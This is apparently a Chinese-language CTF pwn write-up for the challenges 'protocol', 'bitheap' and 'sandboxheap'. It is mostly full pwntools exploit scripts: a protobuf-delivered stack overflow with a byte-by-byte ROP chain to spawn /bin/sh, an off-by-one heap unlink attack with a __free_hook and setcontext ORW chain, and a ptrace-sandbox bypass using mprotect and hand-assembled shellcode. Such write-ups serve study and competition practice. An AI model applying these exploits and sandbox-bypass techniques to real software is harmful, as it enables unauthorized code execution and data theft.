protocol 1 2 3 4 5 6 protocol: ELF 64 -bit LSB executable, x86-64 , version 1 (GNU/Linux), statically linked, BuildID[sha1]=805 aff424a7691b51b56996dad2d4c386ab3b31e, for GNU/Linux 3.2 .0 , stripped Arch: amd64-64 -little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
逆向出来没有符号,不过搜索到一个关键的字符串:
1 sub_43ADCC(v7, 3LL , "/usr/local/include/google/protobuf/metadata_lite.h" , 0x4A LL);
然后在 IDA 中搜索其版本信息
1 2 v5 = sub_43A79E(v4, " of the Protocol Buffer runtime library, but the installed version is " ); sub_43A53E((__int64)v21, 3021008 );
1 2 3 4 v4 = a2 / 1000000 ; v5 = a2 / 1000 % 1000 ; v6 = a2 % 1000 ; sub_67F040((__int64)v7, 0x80 LL, (__int64)"%d.%d.%d" , (unsigned int )(a2 / 1000000 ), v5, (unsigned int )(a2 % 1000 ));
环境搭建
先编译 protobuf:
1 2 3 4 5 6 $ cd protobuf-3.21.8/ $ ./autogen.sh $ ./configure --prefix=/usr/local /protobuf $ make -j8 $ sudo make install $ sudo ldconfig
1 2 3 4 5 6 sudo vim /etc/profile # export PATH=$PATH:/usr/local/protobuf/bin/ export PKG_CONFIG_PATH=/usr/local/protobuf/lib/pkgconfig/ # source /etc/profile
1 2 3 4 5 6 sudo vim ~/.profile # export PATH=$PATH:/usr/local/protobuf/bin/ export PKG_CONFIG_PATH=/usr/local/protobuf/lib/pkgconfig/ # source ~/.profile
1 2 3 sudo vim /etc/ld.so.conf # /usr/local/protobuf/lib
1 2 ➜ protocol protoc --version libprotoc 3.21 .8
在 /protobuf-3.21.8/examples/
中有 Cpp 的测试案例(记得在 Makefile 加上 “-g -static”)
使用 Bindiff 修复一下符号:(虽然修不了 STL 但至少可以标识一下)
我们还需要下载 python protobuf,然后用如下命令进行安装:(写 exp 脚本时会用到)
1 2 sudo python3 setup.py build sudo python3 setup.py install
1 2 3 4 5 6 ➜ python python3 Python 3.8 .10 (default , Jun 22 2022 , 20 :18 :18 ) [GCC 9.4 .0 ] on linux Type "help" , "copyright" , "credits" or "license" for more information. >>> import google.protobuf >>>
漏洞分析
1 2 3 4 5 6 7 8 9 char buf[256 ]; __int64 obj; obj = sub_4078D6((__int64)v14); obj = ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE12_Alloc_hiderC2EPwOS3_(obj); j_strcpy_ifunc(buf, obj); obj = sub_4078F4(v14); obj = ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE12_Alloc_hiderC2EPwOS3_(obj); j_strcpy_ifunc(buf, obj);
入侵思路
想要与 protobuf 程序进行交互,必须先找到 protobuf 的格式,以下 Github 项目可以完成这个工作:
1 2 3 ➜ protocol ./pbtk/extractors/from_binary.py protocol [+] Wrote 2 .proto files to "." .
在生成的 ctf.proto
文件中就可以找到答案:
1 2 3 4 5 6 7 8 9 ➜ protocol cat ctf.proto syntax = "proto2" ; package ctf; message pwn { optional bytes username = 1 ; optional bytes password = 2 ; }
然后参考 protobuf-3.21.8/examples
中的 python 使用案例,把 ctf.proto
文件处理为 python 可以识别的形式:
1 ➜ protocol protoc --python_out=. ctf.proto
在当前目录中多了一个 ctf_pb2.py
,这就是我们需要的目标库
入侵的思路比较简单,就是利用栈溢出写入一个 ROP(这是 statically 文件,只能打 syscall)
只有一个问题比较烦人:j_strcpy_ifunc
会被 “\x00” 截断
解决的办法也比较暴力,分批次从下往上写 ROP 链,每次写入时前面的字符都填入“b”(需要利用 j_strcpy_ifunc
末尾补“\x00”的特性来写入“\x00”)
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 import ctf_pb2from pwn import *arch = 64 challenge = './protocol' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) local = 1 if local: p = process(challenge) else : p = remote('chuj.top' , '53178' ) def debug (): gdb.attach(p,"b* 0x407845\nb* 0x407701\n" ) pause() def write (username, password ): pwn = ctf_pb2.pwn() pwn.username = username pwn.password = password login = pwn.SerializeToString() p.sendafter("Login: " , login) pop_rax_ret = 0x00000000005bdb8a pop_rdi_ret = 0x0000000000404982 pop_rsi_ret = 0x0000000000588bbe pop_rdx_ret = 0x000000000040454f syscall_ret = 0x68f0a4 bss_addr = 0x81A2A0 + 0x200 """ payload = b'a'*0x148 payload += p64(pop_rdi_ret) + p64(0) payload += p64(pop_rsi_ret) + p64(bss_addr) payload += p64(pop_rdx_ret) + p64(0x10) payload += p64(pop_rax_ret) + p64(0) payload += p64(syscall_ret) payload += p64(pop_rdi_ret) + p64(bss_addr) payload += p64(pop_rsi_ret) + p64(0) payload += p64(pop_rdx_ret) + p64(0) payload += p64(pop_rax_ret) + p64(59) payload += p64(syscall_ret) """ payload = b'a' *0x148 + b'b' *0x8 *17 payload += p8(0xa4 )+p8(0xf0 )+p8(0x68 ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *16 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *16 payload += p8(59 ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *15 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *15 payload += p8(0x8a )+p8(0xdb )+p8(0x5b ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *14 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *14 write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *13 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *13 payload += p8(0x4f )+p8(0x45 )+p8(0x40 ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *12 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *12 write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *11 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *11 payload += p8(0xbe )+p8(0x8b )+p8(0x58 ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *10 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *10 payload += p8(0xa0 )+p8(0xa4 )+p8(0x81 ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *9 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *9 payload += p8(0x82 )+p8(0x49 )+p8(0x40 ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *8 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *8 payload += p8(0xa4 )+p8(0xf0 )+p8(0x68 ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *7 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *7 write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *6 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *6 payload += p8(0x8a )+p8(0xdb )+p8(0x5b ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *5 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *5 payload += p8(0x10 ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *4 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *4 payload += p8(0x4f )+p8(0x45 )+p8(0x40 ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *3 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *3 payload += p8(0xa0 )+p8(0xa4 )+p8(0x81 ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *2 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *2 payload += p8(0xbe )+p8(0x8b )+p8(0x58 ) write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *1 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *1 write(payload, b'admin' ) for i in range (8 ): payload = b'a' *0x148 + b'b' *0x8 *0 + (7 -i)*b'c' write(payload, b'admin' ) payload = b'a' *0x148 + b'b' *0x8 *0 payload += p8(0x82 )+p8(0x49 )+p8(0x40 ) write(payload, b'admin' ) write(b'admin' , b'admin' ) p.sendline("/bin/sh\x00" ) p.interactive()
bitheap 1 GNU C Library (Ubuntu GLIBC 2.27 -3u buntu1.6 ) stable release version 2.27
1 2 3 4 5 6 bitheap: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=e08d4e4d4446d75cea81e7c8527abcfe54cc8768, stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
64位,dynamically,Full RELRO,Canary,NX,PIE
漏洞分析
1 2 3 4 5 if ( num <= 0xF && chunk_list[num] ){ __printf_chk(1LL , (__int64)"Content: " ); fill((char *)chunk_list[index], 8LL * size_list[index] + 1 ); }
修改模块中有 off-by-one
具体的写入部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 len = __read_chk(0LL , buf, size, 0x1008 LL); if ( len ){ for ( i = 0LL ; i != len; ++i ) { while ( 1 ) { a = 1 << (i & 7 ); bit = &chunk[(int )i >> 3 ]; b = *bit & ~(1 << (i & 7 )); if ( buf[i] == '1' ) break ; ++i; *bit = b; if ( len == i ) return __readfsqword(0x28 u) ^ canary; } *bit = a + b; } }
入侵思路
比赛时我的思路很简单:
放满 tcache 使 free chunk 进入 unsortedbin,再利用本题目“申请模块”不写入的特性(不覆盖)进行泄露
使用标准的 unlink 攻击模板,造成 overlapping
劫持 tcache->next 指针,把 chunk 申请到 free_hook 上
劫持 free_hook 为 one_gadget
后来发现 one_gadget 打不通远程,于是把它换成 system,但还是打不通(但可以执行 puts,当时以为服务器上的文件开了沙盒)
之后打算用 ORW:
和之前一样的思路进行泄露和劫持 free_hook
把 free_hook 劫持为 setcontext+53
申请一个足够大的 chunk 用于存放 ORW 链
把 free_hook+0xa0 劫持为 ORW 链起始地址(因为我打算直接释放申请出来的 free_hook)
把 free_hook+0xa8 劫持为 ret_addr
结果还是打不通远程,当时就以为是题目文件名不是“flag”,但回显信息说明 write 函数根本就没有执行(libc_base 是正确的,程序地址应该也没有问题),这就很郁闷
我当时的 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 from signal import pausefrom pwn import *cmd = "" cmd +="b *$rebase(0x982)\n" p = process("./bitheap" ) libc = ELF("./libc-2.27.so" ) def choice (c ): p.sendlineafter("Your choice: " ,str (c)) def add (index,size ): choice(1 ) p.sendlineafter("Index: " ,str (index)) p.sendlineafter("Size: " ,str (size)) def edit (index,content ): choice(2 ) p.sendlineafter("Index: " ,str (index)) p.sendlineafter("Content: " ,str (content)) def show (index ): choice(3 ) p.sendlineafter("Index: " ,str (index)) def delete (index ): choice(4 ) p.sendlineafter("Index: " ,str (index)) def change (addr ): str = bin (addr).replace('0b' ,'' ) return str [::-1 ].ljust(64 ,"0" ) def changeb (addr ): str = bin (addr).replace('0b' ,'' ) return str [::-1 ].ljust(8 ,"0" ) for i in range (13 ): add(i,0xb8 ) for i in range (8 ): delete(i) add(13 ,0x200 ) for i in range (7 ): add(i,0xb8 ) add(0xf ,0xb8 ) show(0xf ) p.recvuntil("Content: " ) leak_addr = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = leak_addr - 0x3ebd50 success("leak_addr >> " +hex (leak_addr)) success("libc_base >> " +hex (libc_base)) show(0 ) p.recvuntil("Content: " ) leak_addr = u64(p.recv(6 ).ljust(8 ,"\x00" )) heap_base = leak_addr - 0x620 success("leak_addr >> " +hex (leak_addr)) success("heap_base >> " +hex (heap_base)) free_hook = libc_base + libc.sym["__free_hook" ] system_libc = libc_base + libc.sym["system" ] puts_libc = libc_base + libc.sym["puts" ] setcontext=libc_base+libc.sym['setcontext' ]+53 one_gadgets = [0x4f2a5 ,0x4f302 ,0x10a2fc ] one_gadget = one_gadgets[0 ] + libc_base open_libc = libc_base + libc.sym["open" ] write_libc = libc_base + libc.sym["write" ] read_libc = libc_base + libc.sym["read" ] pop_rax_ret = libc_base + 0x000000000001b500 pop_rdi_ret = libc_base + 0x000000000002164f pop_rsi_ret = libc_base + 0x0000000000023a6a pop_rdx_ret = libc_base + 0x0000000000001b96 ret = libc_base + 0x00000000000008aa syscall_ret = libc_base + 0x00000000000d2625 success("free_hook >> " +hex (free_hook)) success("one_gadget >> " +hex (one_gadget)) success("setcontext >> " +hex (setcontext)) for i in range (7 ): delete(i) payload = change(0x4000000 )*(0xb0 /8 ) + change(0x170 ) edit(11 ,payload) heap_addr = heap_base + 0x9d0 payload = change(0 )+change(0x171 )+change(heap_addr+0x18 )+change(heap_addr+0x20 )+change(heap_addr+0x10 ) edit(10 ,payload) delete(0xc ) for i in range (7 ): add(i,0xb8 ) add(14 ,0xb8 ) delete(14 ) rop_start = heap_base + 0xe40 payload = change(0 )+change(0xa0 )+change(free_hook) edit(0xa ,payload) """ payload = change(puts_libc) add(12,0xb8) add(14,0xb8) edit(14,payload) delete(14) """ payload = change(setcontext) + change(0 )*(0x98 /8 ) + change(rop_start) + change(ret) add(12 ,0xb8 ) add(14 ,0xb8 ) edit(14 ,payload) flag_addr = heap_base + 0x270 payload = changeb(46 )+changeb(47 )+changeb(102 )+changeb(108 )+changeb(97 )+changeb(103 )+changeb(0 )*2 payload += change(0 ) payload += change(pop_rax_ret) + change(2 ) + change(pop_rdi_ret) + change(rop_start-0x10 ) + change(pop_rsi_ret) + change(0 ) + change(pop_rdx_ret) + change(0 ) + change(syscall_ret) payload += change(pop_rax_ret) + change(0 ) + change(pop_rdi_ret) + change(3 ) + change(pop_rsi_ret) + change(flag_addr) + change(pop_rdx_ret) + change(0x30 ) + change(syscall_ret) payload += change(pop_rax_ret) + change(1 ) + change(pop_rdi_ret) + change(1 ) + change(pop_rsi_ret) + change(flag_addr) + change(pop_rdx_ret) + change(0x30 ) + change(syscall_ret) success("payload len:" +hex (len (payload))) add(7 ,0x200 ) edit(7 ,payload) delete(14 ) p.interactive()
我的队友把 exp 给我改了一下,改后的 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 from pwn import *arch = 64 challenge = './bitheap' context.os='linux' context.log_level = 'debug' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(challenge) libc = ELF('libc-2.27.so' ) local = 1 if local: p = process(challenge) else : p = remote('chuj.top' , '53178' ) heapbase = None libc_os = lambda x : libc.address + x heap_os = lambda x : heapbase + x p_sl = lambda x, y : p.sendlineafter(y, str (x) if not isinstance (x, bytes ) else x) p_s = lambda x, y : p.sendafter(y, str (x) if not isinstance (x, bytes ) else x) def debug (): pause() def choice (c ): p_sl(c,"Your choice: " ) def add (index,size ): choice(1 ) p_sl(index,"Index: " ) p_sl(size,"Size: " ) def edit (index,content ): choice(2 ) p_sl(index,"Index: " ) p_sl(content,"Content: " ) def show (index ): choice(3 ) p_sl(index,"Index: " ) def delete (index ): choice(4 ) p_sl(index,"Index: " ) def change (addr ): con = bin (addr).replace('0b' ,'' ) return con[::-1 ].ljust(64 ,"0" ) def changeb (addr ): con = bin (addr).replace('0b' ,'' ) return con[::-1 ].ljust(8 ,"0" ) for i in range (13 ): add(i,0xb8 ) for i in range (8 ): delete(i) add(13 ,0x200 ) for i in range (7 ): add(i,0xb8 ) add(0xf ,0xb8 ) show(0xf ) p.recvuntil("Content: " ) libc.address = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))-0x3ebd50 log.success("libc.address: " +hex (libc.address)) show(0 ) p.recvuntil("Content: " ) heapbase = u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x620 log.success('heapbase: ' + hex (heapbase)) free_hook = libc.sym["__free_hook" ] setcontext=libc.sym['setcontext' ]+53 open_libc = libc.sym["open" ] write_libc = libc.sym["write" ] read_libc = libc.sym["read" ] pop_rax_ret = libc.address + 0x000000000001b500 pop_rdi_ret = libc.address + 0x000000000002164f pop_rsi_ret = libc.address + 0x0000000000023a6a pop_rdx_ret = libc.address + 0x0000000000001b96 ret = libc.address + 0x00000000000008aa syscall_ret = libc.address + 0x00000000000d2625 success("free_hook: " +hex (free_hook)) success("setcontext: " +hex (setcontext)) for i in range (7 ): delete(i) payload = change(0x4000000 )*22 + change(0x170 ) edit(11 ,payload) heap_addr = heapbase + 0x9d0 payload = change(0 )+change(0x171 )+change(heap_addr+0x18 )+change(heap_addr+0x20 )+change(heap_addr+0x10 ) edit(10 ,payload) delete(0xc ) for i in range (7 ): add(i,0xb8 ) add(14 ,0xb8 ) delete(14 ) rop_start = heapbase + 0xed8 payload = change(0 )+change(0xa0 )+change(free_hook) edit(0xa ,payload) payload = change(setcontext) add(12 ,0xb8 ) add(14 ,0xb8 ) edit(14 ,payload) flag_addr = heapbase + 0xe30 payload = changeb(46 )+changeb(47 )+changeb(102 )+changeb(108 )+changeb(97 )+changeb(103 )+changeb(0 )*2 payload += change(0 )*(20 -1 ) payload += change(rop_start) + change(ret) payload += change(pop_rax_ret) + change(2 ) + change(pop_rdi_ret) + change(flag_addr) + change(pop_rsi_ret) + change(0 ) + change(pop_rdx_ret) + change(0 ) + change(syscall_ret) payload += change(pop_rax_ret) + change(0 ) + change(pop_rdi_ret) + change(3 ) + change(pop_rsi_ret) + change(flag_addr) + change(pop_rdx_ret) + change(0x30 ) + change(syscall_ret) payload += change(pop_rax_ret) + change(1 ) + change(pop_rdi_ret) + change(1 ) + change(pop_rsi_ret) + change(flag_addr) + change(pop_rdx_ret) + change(0x30 ) + change(syscall_ret) success("payload len: " +hex (len (payload))) add(7 ,0x200 ) edit(7 ,payload) delete(7 ) p.interactive()
经过调试,有一个很明显的不同就是最后 free 的对象:
修改前,释放了申请到 free_hook 的 chunk
修改后,释放了一个普通的 chunk(这样的话 ORW 链的起始地址和 ret_addr 就不用写在 free_hook 中,而是写在 heap 里)
1 *RDI 0x7f4b34e148e8 (__free_hook) —▸ 0x7f4b34a79085 (setcontext+53 ) ◂— mov rsp, qword ptr [rdi + 0xa0 ]
1 *RDI 0x55bf7fe49e30 ◂— 0x67616c662f2e
其实我习惯于释放 free_hook ,感觉这个应该问题不大(因为本地已经出 flag 了),另一种可能就是我的“描述信息”不完整:
1 2 3 4 5 6 7 8 9 10 11 arch = 64 challenge = './bitheap' context.os='linux' context.log_level = 'debug' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(challenge) libc = ELF('libc-2.27.so' )
sandboxheap 1 GNU C Library (Ubuntu GLIBC 2.27 -3u buntu1.6 ) stable release version 2.27
1 2 3 4 5 6 sandbox: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=c27ca36e8af1c678abff1e5ec09e7d2979285761, stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
64位,dynamically,Full RELRO,NX,PIE
入侵思路
这题前面的过程都和 bitheap 一样,只是开了 ptrace 沙盒:
1 2 3 4 5 6 7 if ( LODWORD(regs.orig_rax) <= 0x2710 && list [SLODWORD(regs.orig_rax)] ){ regs.orig_rax = -1LL ; if ( ptrace(PTRACE_SETREGS, fd, 0 , ®s) == -1 ) goto print; orig_rax = regs.orig_rax; }
当 if 语句条件满足时,ptrace 的 PTRACE_SETREGS 命令就会把 RAX 设置为“-1”
因此执行 syscall 时,RAX 不能为 list[SLODWORD(regs.orig_rax)]
中所指示的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 __fastcall set (char a1) { memset (list , 1 , 0x2711 uLL); list [3 ] = 0 ; *(_DWORD *)&list [9 ] = 0 ; list [60 ] = 0 ; list [231 ] = 0 ; if ( (a1 & 1 ) != 0 ) { list [40 ] = 0 ; *(_WORD *)list = 0 ; *(_DWORD *)&list [17 ] = 0 ; *(_WORD *)&list [295 ] = 0 ; list [10000 ] = 0 ; } if ( (a1 & 2 ) != 0 ) list [2 ] = 0 ; return 0LL ; }
sys_execve-59
不可能位于白名单中
sys_read-0
sys_write-1
sys_open-2
可以同时处于白名单中(需要两个 if 同时成立)
sys_mprotect-10
也在白名单中
1 2 3 case 0x2710 LL: set (regs.rdi); break ;
分析 ptrace 程序得知,在执行 syscall 前,令 rax=0x2710 rdi=0x3
就可以绕过沙盒
于是我们需要对原来的 exp 进行修改,利用 sys_mprotect
使堆获取执行权限,然后再堆上执行 shellcode 来调整 rax rdi
,然后执行 ORW 的过程
shellcode 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 section .text global _start _start: xor rdi,rdi mov rdi,3 xor rax,rax add rax,0x2710 syscall mov rbx,rsp sub rbx,0x100 mov rax,2 mov rdi,rbx xor rsi,rsi xor rdx,rdx syscall mov rax,0 mov rdi,3 mov rsi,rbx mov rdx,0x30 syscall mov rax,1 mov rdi,1 mov rsi,rbx mov rdx,0x30 syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ➜ sandboxheap nasm -f elf64 sh.s -o sh.o ➜ sandboxheap ld sh.o -o sh ➜ sandboxheap objdump --disassemble ./sh ./sh: 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000401000 <_start>: 401000 : 48 31 ff xor %rdi,%rdi 401003 : bf 03 00 00 00 mov $0x3 ,%edi 401008 : 48 31 c0 xor %rax,%rax 40100b : 48 05 10 27 00 00 add $0x2710 ,%rax 401011 : 0f 05 syscall 401013 : 48 89 e3 mov %rsp,%rbx 401016 : 48 81 eb 00 01 00 00 sub $0x100 ,%rbx 40101 d: b8 02 00 00 00 mov $0x2 ,%eax 401022 : 48 89 df mov %rbx,%rdi 401025 : 48 31 f6 xor %rsi,%rsi 401028 : 48 31 d2 xor %rdx,%rdx 40102b : 0f 05 syscall 40102 d: b8 00 00 00 00 mov $0x0 ,%eax 401032 : bf 03 00 00 00 mov $0x3 ,%edi 401037 : 48 89 de mov %rbx,%rsi 40103 a: ba 30 00 00 00 mov $0x30 ,%edx 40103f : 0f 05 syscall 401041 : b8 01 00 00 00 mov $0x1 ,%eax 401046 : bf 01 00 00 00 mov $0x1 ,%edi 40104b : 48 89 de mov %rbx,%rsi 40104 e: ba 30 00 00 00 mov $0x30 ,%edx 401053 : 0f 05 syscall
剩下的工作就有些繁琐,需要以题目规定的格式写入 shellcode
在执行 ORW 之前会先执行以下这段 syscall:
1 2 3 4 5 ► 0x56322a58cf40 syscall <SYS_<unk_10000>> rdi: 0x48000003 rsi: 0x7000 rdx: 0x7 r10: 0x7f36f15c4bc0 (_nl_C_LC_CTYPE_class+256 ) ◂— add al, byte ptr [rax]
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 from pwn import *arch = 64 challenge = './sandboxheap' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) libc = ELF('libc-2.27.so' ) local = 1 if local: p = process(challenge) else : p = remote('chuj.top' , '53178' ) heapbase = None libc_os = lambda x : libc.address + x heap_os = lambda x : heapbase + x p_sl = lambda x, y : p.sendlineafter(y, str (x) if not isinstance (x, bytes ) else x) p_s = lambda x, y : p.sendafter(y, str (x) if not isinstance (x, bytes ) else x) def debug (): gdb.attach(p) pause() def choice (c ): p_sl(c,"Your choice: " ) def add (index,size ): choice(1 ) p_sl(index,"Index: " ) p_sl(size,"Size: " ) def edit (index,content ): choice(2 ) p_sl(index,"Index: " ) p_sl(content,"Content: " ) def show (index ): choice(3 ) p_sl(index,"Index: " ) def delete (index ): choice(4 ) p_sl(index,"Index: " ) def change (addr ): con = bin (addr).replace('0b' ,'' ) return con[::-1 ].ljust(64 ,"0" ) def changeb (addr ): con = bin (addr).replace('0b' ,'' ) return con[::-1 ].ljust(8 ,"0" ) for i in range (13 ): add(i,0xb8 ) for i in range (8 ): delete(i) add(13 ,0x200 ) for i in range (7 ): add(i,0xb8 ) add(0xf ,0xb8 ) show(0xf ) p.recvuntil("Content: " ) libc.address = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))-0x3ebd50 log.success("libc.address: " +hex (libc.address)) show(0 ) p.recvuntil("Content: " ) heapbase = u64(p.recv(6 ).ljust(8 ,b'\x00' ))-0x620 log.success('heapbase: ' + hex (heapbase)) free_hook = libc.sym["__free_hook" ] setcontext=libc.sym['setcontext' ]+53 open_libc = libc.sym["open" ] write_libc = libc.sym["write" ] read_libc = libc.sym["read" ] pop_rax_ret = libc.address + 0x000000000001b500 pop_rdi_ret = libc.address + 0x000000000002164f pop_rsi_ret = libc.address + 0x0000000000023a6a pop_rdx_ret = libc.address + 0x0000000000001b96 ret = libc.address + 0x00000000000008aa syscall_ret = libc.address + 0x00000000000d2625 success("free_hook: " +hex (free_hook)) success("setcontext: " +hex (setcontext)) for i in range (7 ): delete(i) payload = change(0x4000000 )*22 + change(0x170 ) edit(11 ,payload) heap_addr = heapbase + 0x9d0 payload = change(0 )+change(0x171 )+change(heap_addr+0x18 )+change(heap_addr+0x20 )+change(heap_addr+0x10 ) edit(10 ,payload) delete(0xc ) for i in range (7 ): add(i,0xb8 ) add(14 ,0xb8 ) delete(14 ) rop_start = heapbase + 0xed8 payload = change(0 )+change(0xa0 )+change(free_hook) edit(0xa ,payload) payload = change(setcontext) add(12 ,0xb8 ) add(14 ,0xb8 ) edit(14 ,payload) flag_addr = heapbase + 0xe30 shellcode_addr = heapbase + 0xf30 shellcode = change(0x000003bfff314890 ) + change(0x0000271005c03148 ) + change(0x489090909090050f ) shellcode += change(0xe389489090909090 ) + change(0x00000100eb814890 ) + change(0xdf894800000002b8 ) + change(0x050fd23148f63148 ) shellcode += change(0x00000000b8909090 ) + change(0x00000003bf909090 ) + change(0x00000030bade8948 ) + change(0x050f909090909090 ) shellcode += change(0x00000001b8909090 ) + change(0x00000001bf909090 ) + change(0x00000030bade8948 ) + change(0x050f909090909090 ) payload = changeb(46 )+changeb(47 )+changeb(102 )+changeb(108 )+changeb(97 )+changeb(103 )+changeb(0 )*2 payload += change(0 )*(20 -1 ) payload += change(rop_start) + change(ret) payload += change(pop_rax_ret) + change(10 ) + change(pop_rdi_ret) + change(heapbase) + change(pop_rsi_ret) + change(0x7000 ) + change(pop_rdx_ret) + change(7 ) + change(syscall_ret) payload += change(shellcode_addr) payload += shellcode success("payload len: " +hex (len (payload))) add(7 ,0x200 ) edit(7 ,payload) delete(7 ) p.interactive()
unexploitable 1 GNU C Library (Ubuntu GLIBC 2.27 -3u buntu1.6 ) stable release version 2.27
